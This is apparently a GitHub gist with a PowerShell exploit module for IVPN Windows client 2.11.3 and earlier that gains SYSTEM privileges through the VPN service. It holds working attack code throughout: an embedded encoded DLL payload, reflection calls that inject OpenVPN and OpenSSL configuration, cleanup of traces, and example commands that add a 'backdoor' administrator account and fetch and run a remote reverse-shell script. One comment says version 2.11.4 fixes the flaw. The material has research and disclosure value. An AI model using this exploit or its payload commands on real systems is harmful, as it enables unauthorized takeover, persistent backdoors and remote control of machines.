Last active
March 13, 2020 06:49
-
-
Save ykoster/88baaad0e7341d4df016851adc21e159 to your computer and use it in GitHub Desktop.
IVPN <= 2.11.3 exploit module to run commands with SYSTEM privileges
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Example usage: | |
Import-Module .\Invoke-ExploitIVPNLPE.psd1 | |
Invoke-ExploitIVPNLPEConfigHijack "net user backdoor P@ssword /add" "net localgroup administrators backdoor /add" | |
Invoke-ExploitIVPNLPEPkcs11 "net user backdoor P@ssword /add" "net localgroup administrators backdoor /add" | |
Invoke-ExploitIVPNLPEConfigOption -Command "powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')" | |
#> | |
@{ | |
RootModule = 'Invoke-ExploitIVPNLPE.psm1' | |
ModuleVersion = '1.0' | |
GUID = '73630188-3482-4d37-a546-b114adcbe223' | |
Author = 'Yorick Koster' | |
CompanyName = 'Securify B.V.' | |
Copyright = '(c) Yorick Koster. All rights reserved.' | |
Description = 'IVPN exploit module to run commands with SYSTEM privileges' | |
RequiredAssemblies = @("$env:ProgramFiles\IVPN Client\IVPN.Core.dll") | |
FunctionsToExport = @("Invoke-ExploitIVPNLPEConfigHijack", "Invoke-ExploitIVPNLPEPkcs11", "Invoke-ExploitIVPNLPEConfigOption") | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Enum ExploitMethod | |
{ | |
ConfigHijack = 0 | |
Pkcs11 = 1 | |
ConfigOption = 2 | |
} | |
Function Invoke-ExploitIVPNLPEConfigHijack { | |
Param([Parameter(Position = 0, Mandatory = $true, ValueFromRemainingArguments = $true)] [string[]]$Command) | |
Invoke-ExploitIVPNLPE -Command $($Command -join "`n") -ExploitMethod 0 | |
} | |
Function Invoke-ExploitIVPNLPEPkcs11 { | |
Param([Parameter(Position = 0, Mandatory = $true, ValueFromRemainingArguments = $true)] [string[]]$Command) | |
Invoke-ExploitIVPNLPE -Command $($Command -join "`n") -ExploitMethod 1 | |
} | |
Function Invoke-ExploitIVPNLPEConfigOption { | |
Param([Parameter(Position = 0, Mandatory = $true, ValueFromRemainingArguments = $true)] [string[]]$Command) | |
Invoke-ExploitIVPNLPE -Command $($Command -join "`n") -ExploitMethod 2 | |
} | |
Function Invoke-ExploitIVPNLPE { | |
Param([Parameter(Position = 0, Mandatory = $true)] [string]$Command, | |
[Parameter(Position = 1, Mandatory = $true)] [ExploitMethod]$ExploitMethod) | |
# setup | |
New-Item -Type directory -Path $([IVPN.Platform]::SettingsDirectory) | Out-Null | |
Copy-Item -Path "$env:ProgramFiles\IVPN Client\etc\port.txt" -Destination "$([IVPN.Platform]::SettingsDirectory)\port.txt" | Out-Null | |
# embedded 32-bit DLL that runs payload.bat | |
$EncodedCompressedFile = "H4sICDkIWV4AA2RsbF94ODYuZGxsAOw6C3hTVZo3zS3EEkiGaSQLZQgYxuJA5940feTZQFtBp0DHFgQpj9CmtrZNSnLTVsWxNc3K9RrN7Oqujo+xgzPqWmdhZQDFT1tSKPgYa2GlWpdBxfnSCUqxit1Byf7/uTdtip2Z9duZz/n24/Q7Ofec85//df7HObd35U1hSk5RFA01Hqeo/ZRYHNRfLq1QZ8x7cQa154o35u+Xlbwxv7ym1qdr9Hpu9jobdJVOt9vD6ba6dF6/W1fr1hWtLtM1eKpcWdOnp+klHKXFFFUiu2IC3lPUjKumyVLmU1dChxGZa/0utGqpT3XWkecUkW+ZxD8pu8TOLx+nQC4HTOnEdfijFkFIswXoYttIUTVjiycpTwCGKX962uigKO0k432A94E/gzaLc7Vw0B5Plxi6MlkIsWyhSrdkVTk5JzwvxgGUHWSmZk+Ec1BMV5ZXBOyRU+LmIa6Mr8E5srb6fPjciXClk/PWS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kehQA/PO+5ZF0PB+PNULFdG5ceyVP4hJ6WCtXACrsAgZGC+cXc5VuN32Igt+BvexGGcwSI+yr9yK9/mcZ7mDJWjImqJslWRqjLKNqk21atGVbFrpUJWejD6XbfEnXBz9Hp9QB/WR3SjvqA7dFKPGHc+1ZneHq/Nu+H96fV7I94Cv8g4scp48Rv/tH/N7/P/8Uf9aT8jnhPPC7QKBR64Jbqjs9FLtiXCwaj3OuiGCbDwddyK5/EujuEqWmP+voJO0Ay9wR/wXlN1L4fUCuWpL9WQmlG5TsSJOWGX3O3up26t/lEXe1YibEnzvYNYS73OfDduam92O9w77ojpsPd1ha7Vx3WL7tWveJ6fio+na+oMB6yP2bthhm1nsXc0fin9PhUOWPdEL8uXcJKucLWyBsKBJvnG161CRNcYr9aZ/LkXZfsTO2F32WP2rJ0fk7HKWDL2miyRDYbwrMyCQkhAM7RCyvCdjyVYg2fwKk4hU3ogPsvkXCXUQT00wc/QApehHTqgC3rM/j64D/3wAMbhMTwxVF/GBbgI38S3cBkWYgwJ1+MmLMYduAvL8DPcb4h/gfXYgCexCc8a8m3Yjp3YhbfwNv6LgybhJnDO5FsmZVMeRehtWk6CJL1Hq2kDbaZdVEYHqZaO0DH6hc7TdeqmJKWon4boP8Mjm3M5wovZZuQPeS1v5W28k0v5c07wYf6KvzWsGrnZuOwCt3MHJznFf/F9HuRRnuBHPMtzHFaZapHKMxm6VK1UUZXu73lBH1WaVEqIGlEn6kWD+EGcEefERaN2p+gSPSIp7om/TVIMi+d38LxY/4f1DFzd7jUANAAA" | |
$DeflatedStream = New-Object System.IO.Compression.GZipStream([System.IO.MemoryStream][System.Convert]::FromBase64String($EncodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress) | |
$dll = New-Object byte[] 13312 | |
$DeflatedStream.Read($dll, 0, $dll.Length) | Out-Null | |
$DeflatedStream.Close() | Out-Null | |
# reflection stuff | |
$mConnectToService = [IVPN.IVPNClientProxy].GetMethod("ConnectToService", [Reflection.BindingFlags]"NonPublic, Instance") | |
$mSendRequest = [IVPN.IVPNClientProxy].GetMethod("SendRequest", [Reflection.BindingFlags]"NonPublic, Instance") | |
$fStreamReader = [IVPN.IVPNClientProxy].GetField("__StreamReader", "NonPublic, Instance") | |
$fStreamWriter = [IVPN.IVPNClientProxy].GetField("__StreamWriter", "NonPublic, Instance") | |
$fVersion = [IVPN.IVPNHelloRequest].GetField("Version", "NonPublic, Instance") | |
$fKey = [IVPN.IVPNSetPreferenceRequest].GetField("Key", "NonPublic, Instance") | |
$fValue = [IVPN.IVPNSetPreferenceRequest].GetField("Value", "NonPublic, Instance") | |
$fEntryVpnServer = [IVPN.VpnProtocols.OpenVPN.OpenVPNConnectionParameters].GetField("EntryVpnServer", "NonPublic, Instance") | |
$fUsername = [IVPN.VpnProtocols.OpenVPN.OpenVPNConnectionParameters].GetField("Username", "NonPublic, Instance") | |
$fPassword = [IVPN.VpnProtocols.OpenVPN.OpenVPNConnectionParameters].GetField("Password", "NonPublic, Instance") | |
$fPort = [IVPN.VpnProtocols.OpenVPN.OpenVPNConnectionParameters].GetField("Port", "NonPublic, Instance") | |
$fVpnType = [IVPN.IVPNConnectRequest].GetField("VpnType", "NonPublic, Instance") | |
$fOpenVpnParameters = [IVPN.IVPNConnectRequest].GetField("OpenVpnParameters", "NonPublic, Instance") | |
$fCurrentDns = [IVPN.IVPNConnectRequest].GetField("CurrentDns", "NonPublic, Instance") | |
# connect to service | |
$client = New-Object IVPN.IVPNClientProxy | |
$mConnectToService.Invoke($client, $null) | |
$client.ServiceConnected = $true | |
# send hello request | |
$hello = New-Object IVPN.IVPNHelloRequest | |
$fVersion.SetValue($hello, "2.11.2.0") | |
$mSendRequest.Invoke($client, $hello) | |
Start-Sleep 1 | |
If($ExploitMethod -eq [ExploitMethod]::ConfigHijack) { | |
$targetfolder = "$env:SystemDrive\etc" | |
New-Item -Type directory -Path "$targetfolder\ssl" | Out-Null | |
Set-Content "$targetfolder\ssl\payload.bat" -Encoding ASCII $Command | |
Set-Content "$targetfolder\ssl\lpe.dll" -Encoding Byte $dll | |
Set-Content "$targetfolder\ssl\openssl.cnf" -Encoding ASCII "openssl_conf = init | |
[init] | |
engines = engines | |
[engines] | |
lpe = lpe | |
[lpe] | |
engine_id = lpe | |
dynamic_path = C:\\etc\\ssl\\lpe | |
default_algorithms = ALL | |
init = 1" | |
} Else { | |
$targetfolder = "$env:TEMP\" + [System.Guid]::NewGuid() | |
$dllname = [System.Guid]::NewGuid().ToString() | |
New-Item -Type directory -Path "$targetfolder" | Out-Null | |
Set-Content "$targetfolder\payload.bat" -Encoding ASCII $Command | |
Set-Content "$targetfolder\$dllname.dll" -Encoding Byte $dll | |
If($ExploitMethod -eq [ExploitMethod]::Pkcs11) { | |
$extraparam = "pkcs11-providers $("$targetfolder\$dllname.dll".Replace("\", "\\"))`npkcs11-id $dllname" | |
} Else { | |
Set-Content "$targetfolder\openvpn.cfg" -Encoding ASCII "engine $("$targetfolder\$dllname".Replace("\", "\\"))" | |
$extraparam = "config $("$targetfolder\openvpn.cfg".Replace("\", "\\"))" | |
} | |
# set OpenVPN extra config parameters | |
$setting = New-Object IVPN.IVPNSetPreferenceRequest | |
$fKey.SetValue($setting, "open_vpn_extra_parameters") | |
$fValue.SetValue($setting, $extraparam) | |
$mSendRequest.Invoke($client, $setting) | |
Start-Sleep 1 | |
} | |
# launch OpenVPN | |
$server = New-Object IVPN.VpnProtocols.OpenVPN.OpenVPNVpnServer -Property @{IpAddresses = @("127.0.0.1"); GatewayId = "GatewayId"; CountryCode = "US"; Country = "United States"; City = "New York"} | |
$conparams = New-Object IVPN.VpnProtocols.OpenVPN.OpenVPNConnectionParameters | |
$fEntryVpnServer.SetValue($conparams, $server) | |
$fUsername.SetValue($conparams, "Username") | |
$fPassword.SetValue($conparams, "Password") | |
$fPort.SetValue($conparams, $(New-Object IVPN.VpnProtocols.DestinationPort(1337, 1))) | |
$conreq = New-Object IVPN.IVPNConnectRequest | |
$fVpnType.SetValue($conreq, [IVPN.VpnProtocols.VpnType]::OpenVPN) | |
$fOpenVpnParameters.SetValue($conreq, $conparams) | |
$fCurrentDns.SetValue($conreq, "8.8.8.8") | |
$mSendRequest.Invoke($client, $conreq) | |
Start-Sleep 3 | |
# disconnect vpn | |
$mSendRequest.Invoke($client, $(New-Object IVPN.IVPNDisconnectRequest)) | |
Start-Sleep 1 | |
# disconnect from service | |
$fStreamReader.GetValue($client).Close() | |
$fStreamWriter.GetValue($client).Close() | |
$client = $null | |
# clean up | |
Remove-Item $([IVPN.Platform]::SettingsDirectory) -Force -Recurse | |
Remove-Item $targetfolder -Force -Recurse | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi.
This local privilege escalation vulnerability fixed since the Windows client v2.11.4.